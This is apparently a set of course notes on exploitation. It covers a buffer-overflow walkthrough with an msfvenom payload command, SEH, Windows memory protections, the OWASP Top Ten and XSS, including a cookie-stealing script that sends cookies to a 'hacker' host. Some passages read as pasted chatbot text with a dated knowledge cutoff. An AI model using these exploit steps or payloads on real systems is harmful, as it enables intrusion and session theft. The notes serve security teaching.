Now, when we generate our string and pass it to the application, we view where the start of our buffer is by right
clicking the ESP register and selecting “follow in dump” which identifies ESP points directly to the start of our
string. Using the following command, we can identify which characters did not transfer properly into memory:
Command:
ERC --compare <address of ESP> <path to directory containing the ByteArray_1.bin file)
The following output identifies that numerous characters have not properly been transferred into memory. As
such we should remove the first erroneous character and retry the steps again.
Repeat these steps until you have removed enough characters to get your input string into memory with no
alterations like in the image below. At a minimum you will need to remove 0x00, 0x0A, and 0x0D.
Now that we have identified how far into memory our buffer overwrites EIP, and which characters must be
removed from our input in order to have it correctly parsed into memory by the application, we can move on to
the next step, redirecting the flow of execution into the buffer we control.
From when we were identifying bad characters, we know that ESP points directly at the start of our buffer,
meaning if we can jump EIP to where ESP is pointing, we can start executing instructions we have injected into
the process. The assembly we need to accomplish this is simply “jmp esp.” However, we need to find an instance
of this instruction in the processes memory (don’t worry, there are many) which means we need the hexadecimal
codes that represent this instruction. We find those using the following command:
Command:
ERC --assemble jmp esp
The output should look like the following image:

Now, when searching for a pointer to a jmp esp instruction, we will need to identify a module that is consistently
loaded at the same address and does not have any protections like ASLR on. As such, we can identify which
modules are loaded by the processes and what protection mechanisms are enabled on them using the following
command:
Command:
ERC --ModuleInfo

As we can see from the image, there are numerous options available to us that are suitable for our purposes. We
can search modules excluding ones with things like ASLR, NXCompat (DEP), SafeSEH, and Rebase enabled
using the following command.
Command:
ERC --SearchMemory FF E4 true true true true
As can be seen from the image there are many options available. For this instance, address 0x74302347 was
chosen, replacing the Bs in our exploit code. Remember, when entering values into your exploit code, they will
appear reversed in memory. As such, your exploit code will now look something like this:
If we pass this string into the application again and put a breakpoint at 0x74302347 (in X64dbg, right click in the
CPU window and select “Go to” --> “Expression,” then paste the address and hit return, right click on the address
and select “breakpoint” --> “Toggle” or press F2) we should see execution stop at our breakpoint.

Single stepping the instructions using F7 will lead us into our buffer of Cs confirming that we can redirect
execution to an area of memory we can write too.
Now that we can redirect execution into a writeable area of memory, we can now generate our payload. For this
example, we will be creating a basic payload which executes calc.exe using MSFVenom. This tool is part of the
Metasploit Framework and can be found on any Kali distribution.
MSFVenom Command:
Msfvenom -p windows/exec CMD=calc.exe -b ‘\x00\x0A\x0D’ -f python -a x86
To add some stability to our exploit, instead of putting our payload at the very start of the buffer and possibly causing the exploit to fail (due to landing a
few bytes into the payload), we will add a small NOP (no operation) sled to the start of our payload. A NOP sled is a number of “no operation”
instructions where we expect execution to land. After the NOP sled, we can append our payload leading to exploit code looking a bit like the following:
Which, when passing the string into the application, causes the application to exit and the calc.exe to run.
 Understanding Structured Exception Handling (SEH):

Structured Exception Handling (SEH) is a mechanism used in Windows operating systems to handle exceptions
and structured exceptions that occur during the execution of a program. SEH is designed to help manage and
recover from exceptional conditions, such as divide-by-zero errors, access violations, and other unexpected
events that could cause a program to crash.

However, in the context of security, SEH can also be exploited by attackers to gain control of a vulnerable
application or execute arbitrary code. SEH exploits are a type of code injection attack used to take advantage of
weaknesses in the way SEH is implemented in certain applications.

Here's a general overview of how SEH exploits work:

1. Exception Handling Mechanism: When a program encounters an exception, the SEH mechanism comes into
play. It tries to find an appropriate exception handler within the program's code or its loaded libraries to handle
the exception. If a suitable handler is found, the program can gracefully recover from the exception and continue
its execution.
2. Exception Handler Overwrite: In some vulnerable programs, there might be a buffer overflow or other memory
corruption vulnerability that allows an attacker to overwrite the exception handler's address in memory with a
malicious address.
3. Controlling Program Flow: By overwriting the exception handler, an attacker can control the flow of the program
when an exception occurs. The attacker can redirect the program's execution to a location where they've placed
 their malicious payload, typically shellcode.
4. Shellcode Execution: The attacker's payload often includes shellcode, which is a small piece of code that
represents the attacker's desired action, such as spawning a shell or gaining unauthorized access to the system.
5. Exploitation: When the vulnerable program encounters an exception or a structured exception, it unknowingly
transfers control to the attacker's shellcode, allowing them to execute arbitrary code with the same privileges as
the exploited application.

Preventing SEH Exploits: To prevent SEH exploits and similar code injection attacks, it's crucial for software
developers to follow secure coding practices, including:

1. Bounds Checking: Perform proper bounds checking on all user inputs and data to prevent buffer overflows and
other memory corruptions.
2. Stack Cookies or Canaries: Use stack protection mechanisms like stack cookies or canaries to detect and prevent
stack-based buffer overflows.
3. Data Execution Prevention (DEP): Utilize DEP, a security feature that prevents the execution of code from non-
executable memory regions, making it harder to execute injected shellcode.
4. Address Space Layout Randomization (ASLR): Enable ASLR, which randomizes the memory addresses of key
system components and libraries, making it harder for attackers to predict the locations of their payloads.
5. Regular Security Audits: Conduct regular security audits and penetration testing to identify and fix potential
vulnerabilities.

By adopting these measures and staying informed about the latest security practices, developers can minimize the
risk of SEH exploits and enhance the overall security of their applications.

Understanding Windows Memory Protections (XPSP3, Vista, 7 and Server 2008):

Windows Memory Protections have evolved over the years to address various security concerns and protect
against different types of attacks. Here's an overview of the memory protections available in Windows XP SP3,
Windows Vista, Windows 7, and Windows Server 2008:

1. Data Execution Prevention (DEP):

 Available in: Windows XP SP3, Windows Vista, Windows 7, Windows Server 2008
 DEP is a security feature that aims to prevent certain types of exploits, such as buffer overflow attacks,
by blocking the execution of code from non-executable memory regions. It marks certain memory
regions as non-executable, and attempts to execute code from those regions trigger an exception, which
helps thwart shellcode execution from data-only memory segments.
2. Address Space Layout Randomization (ASLR):
 Available in: Windows Vista, Windows 7, Windows Server 2008
 ASLR is a security feature that enhances the unpredictability of memory locations in the address space of
a process. By randomizing the base addresses of executable modules and libraries, it makes it more
challenging for attackers to predict memory addresses and exploit memory-related vulnerabilities, such
as buffer overflows.
3. Structured Exception Handling Overwrite Protection (SEHOP):
 Available in: Windows Vista (with some limitations), Windows 7, Windows Server 2008
 SEHOP is a security feature that helps protect against structured exception handler overwrite attacks. It
restricts the overwriting of SEH records in memory, making it harder for attackers to gain control of the
program's flow during exception handling.
4. Mandatory Integrity Control (MIC):
 Available in: Windows Vista, Windows 7, Windows Server 2008
 MIC, also known as Integrity Levels, is a security feature that assigns different integrity levels to
different processes and objects in the system. This prevents lower-integrity processes from accessing and
modifying resources owned by higher-integrity processes, enhancing the overall security of the system.
5. User Account Control (UAC):
 Available in: Windows Vista, Windows 7, Windows Server 2008
 UAC is a security feature that prompts users for consent or administrator credentials when performing
actions that require elevated privileges. This helps prevent unauthorized changes to the system and
reduces the attack surface by limiting the scope of administrative access.

It's essential to note that while these memory protections significantly enhance the security of Windows operating
systems, no security measure is foolproof. It's crucial to keep the system and software up to date with the latest
security patches, use best security practices, and follow the principle of least privilege to minimize the risk of
successful attacks. As newer versions of Windows have been released since my knowledge cutoff date in
September 2021, there might be additional or updated security features in more recent versions.

Bypassing Windows Memory Protections:

Unit-4

Web Application Security Vulnerabilities:

Web application security vulnerabilities are weaknesses or flaws in web applications that can be exploited by
attackers to gain unauthorized access, steal data, disrupt services, or compromise the integrity of the application.
Understanding these vulnerabilities is crucial for web developers, security professionals, and anyone involved in
web application development or management. Here are some common web application security vulnerabilities:

1. Cross-Site Scripting (XSS): XSS occurs when an attacker injects malicious scripts into web pages viewed by
other users. These scripts can execute in the victim's browser, steal session cookies, and perform actions on
behalf of the user.
2. SQL Injection (SQLi): SQLi is a technique where an attacker manipulates input data to inject malicious SQL
code into a web application's database query. Successful SQL injection can allow unauthorized access, data
manipulation, or data theft from the database.
3. Cross-Site Request Forgery (CSRF): CSRF involves tricking a user's web browser into performing unwanted
actions on a trusted website where the user is authenticated. This can lead to unintended changes in the user's
account or data.
4. Remote Code Execution (RCE): RCE allows an attacker to execute arbitrary code on the server, gaining complete
 control over the web application and potentially the underlying system.
5. Security Misconfigurations: Misconfigurations in web servers, databases, application frameworks, or security
settings can create vulnerabilities that attackers can exploit.
6. Insecure Direct Object References (IDOR): IDOR occurs when an attacker can access or manipulate sensitive
data by directly referencing internal objects or resources without proper authorization.
7. Unvalidated Input: Failing to validate user input properly can lead to various vulnerabilities, such as XSS, SQLi,
and command injection.
8. Insecure Deserialization: Insecure deserialization occurs when an attacker can modify serialized data to execute
arbitrary code or perform other malicious actions.
9. File Inclusion Vulnerabilities: These vulnerabilities allow attackers to include and execute arbitrary files on the
server, potentially leading to RCE or unauthorized data access.
10. Insecure Authentication and Session Management: Weak authentication mechanisms, session management, or
cookie handling can lead to unauthorized access to user accounts.

To mitigate these vulnerabilities, web developers and administrators should follow secure coding practices,
conduct regular security assessments (such as penetration testing and code reviews), keep software up to date,
and implement security controls like input validation, output encoding, and strong authentication mechanisms.
Additionally, web application firewalls (WAFs) can help protect against some of these vulnerabilities at the
application layer.

Overview of top web application security vulnerabilities:

Certainly! The Open Web Application Security Project (OWASP) provides a widely recognized and frequently
updated list of the top web application security vulnerabilities, known as the OWASP Top Ten. Here's an
overview of the latest OWASP Top Ten (as of my knowledge cutoff in September 2021):

1. Injection:
 Injection flaws, such as SQL injection (SQLi) and command injection, occur when untrusted data is sent
to an interpreter as part of a command or query. This can lead to unauthorized access, data manipulation,
and even remote code execution.
2. Broken Authentication:
 Weaknesses in authentication and session management mechanisms can allow attackers to compromise
user accounts, impersonate users, and gain unauthorized access to sensitive data or functionalities.
3. Sensitive Data Exposure:
 This vulnerability occurs when sensitive data, such as passwords, credit card numbers, or personal
information, is not properly protected or encrypted, making it susceptible to unauthorized access.
4. XML External Entity (XXE) Injection:
 XXE vulnerabilities arise when an application processes XML input with external entity references,
which attackers can use to access local files, execute remote requests, or launch denial-of-service attacks.
5. Broken Access Control:
 Insufficient access controls can allow unauthorized users to access functionalities or resources they
 should not have access to, potentially leading to data exposure or unauthorized actions.
6. Security Misconfigurations:
 Security misconfigurations occur when web applications, servers, or frameworks are not securely
configured, leaving them open to exploitation by attackers.
7. Cross-Site Scripting (XSS):
 XSS vulnerabilities allow attackers to inject malicious scripts into web pages viewed by other users,
potentially stealing user information, hijacking sessions, or redirecting users to malicious sites.
8. Insecure Deserialization:
 Insecure deserialization vulnerabilities enable attackers to manipulate serialized objects to execute
arbitrary code, potentially leading to remote code execution or other malicious actions.
9. Using Components with Known Vulnerabilities:
 This vulnerability arises when developers use third-party components (libraries, frameworks, etc.) with
known security flaws, making the application more susceptible to attacks.
10. Insufficient Logging and Monitoring:
 Inadequate logging and monitoring practices can hinder an organization's ability to detect and respond to
security incidents, leaving attackers undetected for extended periods.

It's important to note that the OWASP Top Ten list is updated periodically to reflect the changing threat
landscape. Web developers and security professionals should stay informed about the latest vulnerabilities and
best practices to protect web applications from potential attacks. Additionally, regular security assessments and
code reviews are essential for identifying and mitigating these vulnerabilities.

Injection vulnerabilities:
Injection vulnerabilities are a class of web application security vulnerabilities that occur when untrusted data is
improperly handled and injected into an application's code or backend systems. These vulnerabilities can lead to
serious consequences, such as unauthorized data access, data manipulation, and even remote code execution.
Here are some common types of injection vulnerabilities:

1. SQL Injection (SQLi): SQL injection occurs when an attacker can manipulate input data to inject malicious SQL
code into an application's database query. If the application does not properly validate and sanitize input, the
attacker can modify the query's intended behavior, potentially gaining unauthorized access to the database or
performing other malicious actions.
2. Command Injection: Command injection vulnerabilities arise when an attacker can inject malicious commands
into an application that executes system commands. If the application does not properly validate and sanitize
input, the attacker can execute arbitrary commands on the server, leading to unauthorized access or data loss.
3. Cross-Site Scripting (XSS) via Injection: XSS injection vulnerabilities occur when an attacker can inject
malicious scripts into web pages viewed by other users. These scripts can execute in the victim's browser, steal
sensitive data, or perform actions on behalf of the user.
4. XML External Entity (XXE) Injection: XXE injection vulnerabilities arise when an application processes XML
input with external entity references. Attackers can use this to access local files, execute remote requests, or
launch denial-of-service attacks.
5. Server-Side Template Injection (SSTI): SSTI vulnerabilities occur when an attacker can inject malicious code
into templates used by server-side rendering engines. This can lead to remote code execution and full control
over the server.

Mitigating Injection Vulnerabilities: To protect web applications from injection vulnerabilities, developers should
follow secure coding practices and use parameterized queries or prepared statements to prevent SQL injection.
Input validation and output encoding can help mitigate XSS and command injection vulnerabilities. Additionally,
using web application firewalls (WAFs) and security tools that can detect and block malicious input can add an
extra layer of protection.

Regular security assessments, penetration testing, and code reviews are essential for identifying and fixing
injection vulnerabilities. Proper error handling and logging can also aid in monitoring and detecting potential
injection attempts.

Remember, preventing injection vulnerabilities is crucial to ensure the security and integrity of web applications
and protect user data from unauthorized access or manipulation.

cross-Site scripting vulnerabilities:

What is Cross Site Scripting (XSS)?

XSS occurs when an attacker tricks a web application into sending data in a form that a user’s browser can
execute. Most commonly, this is a combination of HTML and XSS provided by the attacker, but XSS can also be
used to deliver malicious downloads, plugins, or media content. An attacker is able to trick a web application this
way when the web application permits data from an untrusted source — such as data entered in a form by users
or passed to an API endpoint by client software — to be displayed to users without being properly escaped.

Because XSS can allow untrusted users to execute code in the browser of trusted users and access some types of
data, such as session cookies, an XSS vulnerability may allow an attacker to take data from users and
dynamically include it in web pages and take control of a site or an application if an administrative or a
privileged user is targeted.

Malicious content delivered through XSS may be displayed instantly or every time a page is loaded or a specific
event is performed. XSS attacks aim to target the users of a web application, and they may be particularly
effective because they appear within a trusted site.

Key Concepts of XSS

 XSS is a web-based attack performed on vulnerable web applications.

 In XSS attacks, the victim is the user and not the application.
 In XSS attacks, malicious content is delivered to users using JavaScript.

The three most common types of XSS attacks are persistent, reflected, and DOM-based..

XSS Attack Examples

Persistent XSS

Also known as stored XSS, this type of vulnerability occurs when untrusted or unverified user input is stored on a
target server. Common targets for persistent XSS include message forums, comment fields, or visitor logs—any
feature where other users, either authenticated or non-authenticated, will view the attacker’s malicious content.
Publicly visible profile pages, like those common on social media sites and membership groups, are one good
example of a desirable target for persistent XSS. The attacker may enter malicious scripts in the profile boxes,
and when other users visit the profile, their browser will execute the code automatically.

Reflective XSS

On the other hand, reflected or non-persistent cross-site scripting involves the immediate return of user input. To
exploit a reflective XSS, an attacker must trick the user into sending data to the target site, which is often done by
tricking the user into clicking a maliciously crafted link. In many cases, reflective XSS attacks rely on phishing
emails or shortened or otherwise obscured URLs sent to the targeted user. When the victim visits the link, the
script automatically executes in their browser.

Search results and error message pages are two common targets for reflected XSS. They often send unmodified
user input as part of the response without ensuring that the data is properly escaped so that it is displayed safely
in the browser..
DOM-Based XSS

DOM-based cross-site scripting, also called client-side XSS, has some similarity to reflected XSS as it is often
delivered through a malicious URL that contains a damaging script. However, rather than including the payload
in the HTTP response of a trusted site, the attack is executed entirely in the browser by modifying the DOM or
Document Object Model. This targets the failure of legitimate JavaScript already on the page to properly sanitize
user input.

XSS Examples with Code Snippets

Example 1.
For example, the HTML snippet:

<title>Example document: %(title)</title>

is intended to illustrate a template snippet that, if the variable title has value Cross-Site Scripting, results in the
following HTML to be emitted to the browser:

<title>Example document: XSS Doc</title>

A site containing a search field does not have the proper input sanitizing. By crafting a search query looking
something like this:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
sitting on the other end, at the web server, you will be receiving hits where after a double space is the user's
cookie. If an administrator clicks the link, an attacker could steal the session ID and hijack the session.

Example 2.
Suppose there's a URL on Google's site, http://www.google.com/search?q=flowers, which returns HTML
documents containing the fragment

<p>Your search for 'flowers' returned the following results:</p>

i.e., the value of the query parameter q is inserted into the page returned by Google. Suppose further that the data
is not validated, filtered or escaped.
Evil.org could put up a page that causes the following URL to be loaded in the browser (e.g., in an
invisible<iframe>):
http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E

When a victim loads this page from www.evil.org, the browser will load the iframe from the URL above. The
document loaded into the iframe will now contain the fragment

<p>Your search for 'flowers <script>evil_script()</script>

returned the following results:</p>

Loading this page will cause the browser to execute evil_script(). Furthermore, this script will execute in the
context of a page loaded from www.google.com

Impact of Cross Site Scripting XSS

When attackers succeed in exploiting XSS vulnerabilities, they can gain access to account credentials. They can
also spread web worms or access the user’s computer and view the user’s browser history or control the browser
remotely. After gaining control to the victim’s system, attackers can also analyze and use other intranet
applications.
By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:

 Hijack an account.
 Spread web worms.
 Access browser history and clipboard contents.
 Control the browser remotely.
 Scan and exploit intranet appliances and applications.

Identifying Cross-Site Scripting Vulnerabilities

XSS vulnerabilities may occur if:

 Input coming into web applications is not validated

 Output to the browser is not HTML encoded
Detecting and Preventing XSS Vulnerabilities

XSS vulnerabilities can be prevented by consistently using secure coding practices. Our Veracode vulnerability
decoder provides useful guidelines for avoiding XSS-based attacks. By ensuring that all input that comes in from
user forms, search fields, or submission requests is properly escaped, developers can prevent their applications
from being misused by attackers.

Cross-site scripting prevention should be part of your development process, but there are steps you can take
throughout each part of production that can detect potential vulnerabilities and prevent attacks.

Resources for Cross-Site Scripting Prevention

Cross-site scripting prevention should be addressed in the early stages of development; however, if you’re
already well into production there are still several cross-site prevention steps you can take to prevent an attack.

The rest of the OWASP Top Ten SQL Injection vulnerabilities:

OWASP Top 10 Vulnerabilities

1. Injection

Injection occurs when an attacker exploits insecure code to insert (or inject) their own code into a program.
Because the program is unable to determine code inserted in this way from its own code, attackers are able to use
injection attacks to access secure areas and confidential information as though they are trusted users. Examples of
injection include SQL injections, command injections, CRLF injections, and LDAP injections.

Application security testing can reveal injection flaws and suggest remediation techniques such as stripping
special characters from user input or writing parameterized SQL queries.

2. Broken Authentication

Incorrectly implemented authentication and session management calls can be a huge security risk. If attackers
notice these vulnerabilities, they may be able to easily assume legitimate users' identities.

Multifactor authentication is one way to mitigate broken authentication. Implement DAST and SCA scans to
detect and remove issues with implementation errors before code is deployed.

3. Sensitive Data Exposure

APIs, which allow developers to connect their application to third-party services like Google Maps, are great
time-savers. However, some APIs rely on insecure data transmission methods, which attackers can exploit to gain
access to usernames, passwords, and other sensitive information.

Data encryption, tokenization, proper key management, and disabling response caching can all help reduce the
risk of sensitive data exposure.

4. XML External Entities

This risk occurs when attackers are able to upload or include hostile XML content due to insecure code,
integrations, or dependencies. An SCA scan can find risks in third-party components with known vulnerabilities
and will warn you about them. Disabling XML external entity processing also reduces the likelihood of an XML
entity attack.

5. Broken Access Control

If authentication and access restriction are not properly implemented, it's easy for attackers to take whatever they
want. With broken access control flaws, unauthenticated or unauthorized users may have access to sensitive files
and systems, or even user privilege settings.

Configuration errors and insecure access control practices are hard to detect as automated processes cannot
always test for them. Penetration testing can detect missing authentication, but other methods must be used to
determine configuration problems. Weak access controls and issues with credentials management are preventable
with secure coding practices, as well as preventative measures like locking down administrative accounts and
controls and using multi-factor authentication.

6. Security Misconfiguration

Just like misconfigured access controls, more general security configuration errors are huge risks that give
attackers quick, easy access to sensitive data and site areas.

Dynamic testing can help you discover misconfigured security in your application.

7. Cross-Site Scripting

With cross-site scripting, attackers take advantage of APIs and DOM manipulation to retrieve data from or send
commands to your application. Cross-site scripting widens the attack surface for threat actors, enabling them to
hijack user accounts, access browser histories, spread Trojans and worms, control browsers remotely, and more.

Training developers in best practices such as data encoding and input validation reduces the likelihood of this
risk. Sanitize your data by validating that it’s the content you expect for that particular field, and by encoding it
for the “endpoint” as an extra layer of protection.

8. Insecure Deserialization

Deserialization, or retrieving data and objects that have been written to disks or otherwise saved, can be used to
remotely execute code in your application or as a door to further attacks. The format that an object is serialized
into is either structured or binary text through common serialization systems like JSON and XML. This flaw
occurs when an attacker uses untrusted data to manipulate an application, initiate a denial of service (DoS) attack,
 or execute unpredictable code to change the behavior of the application.

Although deserialization is difficult to exploit, penetration testing or the use of application security tools can
reduce the risk further. Additionally, do not accept serialized objects from untrusted sources and do not use
methods that only allow primitive data types.

9. Using Components with Known Vulnerabilities

No matter how secure your own code is, attackers can exploit APIs, dependencies and other third-party
components if they are not themselves secure.

A static analysis accompanied by a software composition analysis can locate and help neutralize insecure
components in your application. Veracode’s static code analysis tools can help developers find such insecure
components in their code before they publish an application.

10. Insufficient Logging and Monitoring

Failing to log errors or attacks and poor monitoring practices can introduce a human element to security risks.
Threat actors count on a lack of monitoring and slower remediation times so that they can carry out their attacks
before you have time to notice or react.

To prevent issues with insufficient logging and monitoring, make sure that all login failures, access control
failures, and server-side input validation failures are logged with context so that you can identify suspicious
activity. Penetration testing is a great way to find areas of your application with insufficient logging too.
Establishing effective monitoring practices is also essential.

Vulnerability Analysis: Passive Analysis

Vulnerability analysis is an essential process in information security that aims to identify and assess potential
weaknesses and vulnerabilities in a system, network, or application. It involves various techniques and
approaches to uncover security flaws, misconfigurations, and other issues that could be exploited by attackers.

Passive analysis is one of the two primary methods of vulnerability analysis, with the other being active analysis.
Let's focus on passive analysis in this response.

Passive Analysis: Passive analysis, also known as non-intrusive analysis or passive vulnerability scanning,
involves examining the target system, network, or application without actively interacting with it or causing any
changes. In other words, passive analysis is performed without sending packets or executing commands that
could trigger responses from the target.

Here are some key characteristics of passive analysis:

1. Observational: Passive analysis is primarily based on observation. It includes techniques such as monitoring
network traffic, inspecting system configurations, reviewing application source code, or analyzing log files. The
 goal is to identify potential vulnerabilities without directly interacting with the target.
2. Non-disruptive: Since passive analysis doesn't involve any direct interaction with the target, it doesn't cause any
disruption or potential harm to the system, application, or network being analyzed. This makes it a safer
approach, especially when dealing with critical production environments.
3. Limited Coverage: Passive analysis might not reveal all vulnerabilities, especially those that require active
interactions to be discovered. Some vulnerabilities can only be identified through active scanning or penetration
testing.
4. Continuous Monitoring: Passive analysis can be used for continuous monitoring of systems and networks,
providing valuable insights into ongoing security posture and potential vulnerabilities over time.

Examples of Passive Analysis Techniques:

1. Network Traffic Analysis: Monitoring network traffic to identify patterns, anomalies, and potential security
risks, such as clear text transmission of sensitive data.
2. Log Analysis: Reviewing system logs and application logs to detect suspicious activities, errors, or potential
signs of compromise.
3. Configuration Review: Analyzing system configurations, security settings, and access controls to ensure they
align with security best practices.
4. Source Code Review: Inspecting application source code to identify programming errors and security
vulnerabilities, like insecure data handling or lack of input validation.
5. Passive Vulnerability Scanning Tools: There are specialized tools and software that can perform passive
vulnerability scanning, searching for known vulnerabilities and weaknesses in a non-intrusive manner.

While passive analysis is useful for gaining insight into the security posture of a system, it is essential to
remember that it might not be sufficient on its own. To comprehensively assess security, a combination of
passive analysis, active analysis (such as vulnerability scanning and penetration testing), and other security
measures are recommended. Regularly performing vulnerability assessments can help organizations stay
proactive in addressing potential threats and keeping their systems secure.

Source Code Analysis:

Source code analysis, also known as static code analysis or static application security testing (SAST), is a method
used to identify security vulnerabilities, programming errors, and other code quality issues in software
applications by analyzing the source code without executing the application. It is a form of "white-box" testing
since it requires access to the application's source code.

The process of source code analysis involves using specialized tools and techniques to scan the source code for
potential weaknesses, security flaws, and adherence to coding standards. The analysis is usually automated, but
manual reviews by experienced developers or security experts may also be conducted to gain deeper insights into
the code.

Here's how source code analysis works:

1. Source Code Scanning: The source code is scanned using automated tools designed for source code analysis.
These tools review the code for patterns that match known security vulnerabilities and coding best practices.
2. Identification of Vulnerabilities: The tools identify potential security vulnerabilities and coding issues, such as
SQL injection, cross-site scripting (XSS), buffer overflows, insecure data handling, and more.
3. Code Quality Assessment: Source code analysis not only focuses on security but also assesses the overall code
quality. It looks for potential bugs, code smells, performance issues, and adherence to coding standards and best
practices.
4. Reporting: The analysis tools generate a detailed report listing the identified vulnerabilities and code issues
along with their severity levels. The report provides developers with actionable information to fix the problems.

Advantages of Source Code Analysis:

1. Early Detection of Vulnerabilities: Source code analysis can detect vulnerabilities during the development
phase, allowing developers to fix issues before they become more challenging and expensive to address in later
stages.
2. Full Visibility into the Codebase: By analyzing the entire source code, the tool can uncover vulnerabilities in
less accessible or rarely used parts of the application.
3. Integration into Development Workflow: Source code analysis tools can be integrated into the development
process, allowing developers to get immediate feedback on potential issues as they write the code.
4. Enforcement of Coding Standards: The analysis can enforce coding standards and best practices, promoting
consistent and secure coding practices across the development team.
5. Cost-Effective: Detecting and fixing vulnerabilities early in the development process can save significant costs
and resources compared to fixing them in production or during later stages of development.

Limitations of Source Code Analysis:

1. False Positives/Negatives: Automated analysis tools may produce false positives (flagging non-issues) or false
negatives (missing actual vulnerabilities). Manual reviews are often necessary to validate findings.
2. Lack of Context: The analysis is based solely on the code's static properties, which may not reveal certain
runtime behaviors or the system's overall security posture.
3. Limited Coverage of Frameworks and Libraries: Some tools might not fully understand certain frameworks
or libraries, leading to incomplete analysis.
4. No Testing of Runtime Behavior: Source code analysis cannot assess security vulnerabilities introduced
through user input or configuration during runtime.

To get the best results, it's recommended to complement source code analysis with other security testing
approaches like dynamic application security testing (DAST), penetration testing, and regular security
assessments. By employing a multi-layered security approach, organizations can better identify and address
security issues throughout the software development lifecycle.

Binary Analysis:
Binary analysis is the process of examining and understanding the behavior, structure, and vulnerabilities of
 binary files, which are files in a format that contains machine-readable code or data. Binaries include executable
files (e.g., .exe, .dll on Windows, or ELF files on Linux), firmware, and compiled libraries.

Binary analysis is crucial for various purposes, including reverse engineering, vulnerability assessment, malware
analysis, and ensuring the security and reliability of software and systems.

Types of Binary Analysis:

1. Reverse Engineering: Binary analysis is often used for reverse engineering to understand the functionality and
behavior of a binary without access to its original source code. Reverse engineering is useful for understanding
proprietary algorithms, protocols, or file formats.
2. Vulnerability Analysis: Security researchers and analysts use binary analysis to discover and analyze
vulnerabilities in software applications and libraries. This includes identifying potential security flaws like buffer
overflows, code injections, or privilege escalation.
3. Malware Analysis: Security experts analyze malicious binary files, such as viruses, trojans, and worms, to
understand their behavior, propagation mechanisms, and impact on infected systems.
4. Compatibility and Portability Testing: When deploying software on different platforms or architectures, binary
analysis helps ensure compatibility and portability.
5. Code Optimization and Performance Analysis: Binary analysis can be used to optimize the performance of
software by analyzing its machine code and identifying potential bottlenecks.

Techniques used in Binary Analysis:

1. Disassembly: The process of converting binary code (machine code) back into assembly language to understand
its instructions and control flow.
2. Decompilation: Attempting to generate higher-level source code (such as C or C++) from the binary code to aid
in understanding the functionality.
3. Static Analysis: Analyzing the binary without executing it to identify patterns and potential issues, such as
vulnerabilities, code quality problems, or hardcoded sensitive information.
4. Dynamic Analysis: Running the binary in a controlled environment (e.g., a sandbox) to observe its behavior
during execution, monitor system calls, and detect any malicious activities.
5. Fuzzing: Injecting random or carefully crafted inputs into the binary to trigger unexpected behavior and identify
potential vulnerabilities.
6. Symbolic Execution: Analyzing the binary code path and variables symbolically to understand all possible
execution paths and identify edge cases or potential issues.

Challenges in Binary Analysis:

1. Lack of Source Code: Analyzing binaries can be more challenging than analyzing source code since the original
code structure and comments are not available.
2. Obfuscation: Some binaries may be deliberately obfuscated to make reverse engineering difficult.
3. Platform and Architecture Dependence: Different platforms and architectures may have varying binary
 formats, making analysis more complex.
4. Legal Considerations: Reverse engineering of proprietary software without proper authorization may be illegal
in some jurisdictions.

Binary analysis is a critical skill in the field of cybersecurity and software development, allowing researchers and
analysts to gain insights into complex software systems and identify security issues and potential improvements.

Unit-5

Client-Side Browser Exploits: Why client-side vulnerabilities are interesting

Client-side browser exploits are a category of security vulnerabilities that target web browsers and their related
technologies. These exploits aim to compromise the security of the user's browser, often with the goal of
executing malicious code or actions on the user's system. Client-side vulnerabilities are interesting and significant
for several reasons:

1. Wide Attack Surface: Web browsers are ubiquitous and used by a vast majority of internet users. As a result,
client-side browser vulnerabilities offer attackers a large attack surface to target a broad range of potential
victims.
2. User Interaction: Unlike server-side vulnerabilities that attackers must exploit remotely, client-side
vulnerabilities often require user interaction to be triggered. This can include visiting a malicious website,
clicking on a malicious link, or opening an infected document. The user's action unknowingly initiates the
exploit, making it harder to detect and mitigate.
3. Access to Local Resources: A successful client-side exploit can grant an attacker access to various local
resources and functionalities, such as the file system, camera, microphone, and local storage. This can lead to
data theft, espionage, or other malicious activities.
4. Persistence and Evasion: Exploiting client-side vulnerabilities can offer attackers persistent access to the
victim's system. These attacks can be difficult to detect and remove since they often reside within the user's
browser or system, evading traditional security measures.
5. No Patches or Delayed Updates: Browser vulnerabilities can exist for extended periods without being patched.
Users might not update their browsers regularly or immediately, leaving them exposed to known vulnerabilities
for longer periods.
6. Third-Party Extensions: Many users use browser extensions/add-ons, which may introduce additional
vulnerabilities. Attackers can exploit these weaknesses to compromise the browser or the underlying system.
7. Cross-Platform Exploits: Client-side exploits can target multiple operating systems, making them versatile tools
for attackers seeking to compromise a wide range of devices and users.
8. Delivering Malware: Once a browser is compromised, attackers can use it as a platform to deliver additional
malware to the victim's system, further extending their reach and control.
9. Data Interception and Manipulation: Browser vulnerabilities can be exploited to intercept sensitive data, such
as login credentials, personal information, or financial data, as it is transmitted to and from websites.
10. Drive-By Downloads: Some client-side exploits can automatically download and execute malware on the user's
system without any user interaction, making them particularly dangerous.
 Given the significant impact and potential reach of client-side browser exploits, it is crucial for users to keep their
browsers and related software up-to-date, use security extensions, and exercise caution when clicking on links or
downloading files from untrusted sources. Additionally, web developers must follow secure coding practices and
implement proper security mechanisms to reduce the risk of introducing client-side vulnerabilities in their web
applications.

Internet explorer security concepts:

Internet Explorer (IE) is a web browser developed by Microsoft. It was one of the most widely used browsers in
the past, but its usage has declined significantly in favor of more modern browsers like Google Chrome, Mozilla
Firefox, and Microsoft Edge. Nonetheless, understanding the security concepts related to Internet Explorer is
important, especially for those who still use it or need to manage legacy systems. Here are some key security
concepts related to Internet Explorer:

1. Security Zones: Internet Explorer categorizes websites into different security zones, such as Internet, Local
Intranet, Trusted Sites, and Restricted Sites. Each zone has different security settings that control things like
ActiveX controls, scripting, and file downloads. Users and administrators can adjust these settings to control the
behavior of the browser when accessing websites from different zones.
2. ActiveX Controls: ActiveX is a technology developed by Microsoft that allows interactive content to be
embedded in web pages. While ActiveX controls can enhance web functionality, they have historically been a
significant security risk, as malicious ActiveX controls can be used to compromise systems. To improve security,
modern browsers have largely deprecated support for ActiveX, and users are encouraged to disable it or use
alternative technologies.
3. Protected Mode (Enhanced Security Configuration): Internet Explorer has a feature called "Protected Mode"
(or "Enhanced Security Configuration" in some versions) that restricts the browser's privileges, isolating it from
the operating system and reducing the impact of potential security vulnerabilities.
